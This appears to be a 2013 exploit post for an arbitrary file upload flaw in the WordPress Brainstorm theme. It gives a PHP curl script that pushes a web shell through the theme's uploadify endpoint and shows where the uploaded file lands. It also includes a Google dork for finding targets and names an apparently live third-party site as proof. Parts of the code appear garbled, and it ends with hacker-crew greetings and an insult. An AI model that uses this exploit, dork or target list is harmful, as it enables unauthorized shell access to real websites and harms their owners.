facebook facebook twitter rss

Wordpress Themes Brainstorm Arbitrary File Upload Vulnerability

Author: Gastro-Dz , Published: 10-03-2013
############################################################################
# Title : Wordpress Themes Brainstorm Arbitrary File Upload Vulnerability #
# Author : Gastro-Dz #
# Date : 10/03/2013 #
# Facebook => http://fb.me/Gastr0 #
# Vandor : N/a #
# Google Dork => inurl:/wp-content/themes/brainstorm #
# Tested on : Windows 7 , Blackbuntu #
############################################################################

Exploit : uploadshell.php

<?php
 
$uploadfile
="Gastro.php";
$ch curl_init("http://localhost/wordpress/wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/uploadify.php");
curl_setopt($chCURLOPT_POSTtrue);
curl_setopt($chCURLOPT_POSTFIELDS,
              array(
'Filedata'=>"@$uploadfile",
              
'folder'=>'/wordpress/wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/'));
curl_setopt($chCURLOPT_RETURNTRANSFER1);
$postResult curl_exec($ch);
curl_close($ch);
 
  print 
"$postResult";
?> 


Shell Access : http://localhost/wordpress/wp-content/uploads/Year/month/Gastro.php

--------------------------------------------------------------------------------------
<?php
phpinfo
();
?>

--------------------------------------------------------------------------------------

[#] Proof :

[#] www.xenom.fr/formation/wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/uploadify.php
[#] & More In Google

[#] Greeting ####################################################################################################################################################
#
EvilDz - Hacker-1420 - Jago-dz - DamaneDz - Matlou3a Dz - HTC28DZ - Oxyl - Over-x - hacker-fire - kha&mix #
L3b r1'Z - EliteTrojan - Vikram - JIGsaw - Gel-Dz - jakop Dz - Anonymous-Dz & Dz-root.com & Sec4ever.com & cyber-rog.com #
#
#################################################################################################################################################################
[#] Special Fuck to : Fucking Fayzon or i dont konw who is this noob who steal my vulns #
#################################################################################################################################################################

------------------------------ The End ------------------------------------------------------------------------------------------------------------

Like us on Facebook :